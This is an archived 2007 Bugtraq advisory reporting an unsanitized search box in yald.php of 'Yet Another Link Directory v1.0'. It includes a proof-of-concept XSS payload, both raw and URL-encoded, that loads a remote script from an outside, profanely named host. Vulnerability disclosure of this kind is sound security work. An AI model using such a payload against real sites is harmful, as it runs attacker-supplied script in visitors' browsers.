[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Yet Another Link Directory v1.0
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Yet Another Link Directory v1.0
- From: lunY@xxxxxxxxxxxxxxx
- Date: 6 Jan 2007 13:02:34 -0000
Yet Another Link Directory v1.0
http://yald.sourceforge.net/
Effected files:
yald.php
---------------------------
yald.php search box XSS
User input isn't sanatized before being generated. In the search box for a PoC
put:
<script src=http://www.youfucktard.com/xss.js></script>
url:
http://example.com/yald.php?search=%3CSCRIPT+SRC%3Dhttp%3A%2F%2Fyoufucktard.com%2Fxss.js%3E%3C%2FSCRIPT%3E
- Luny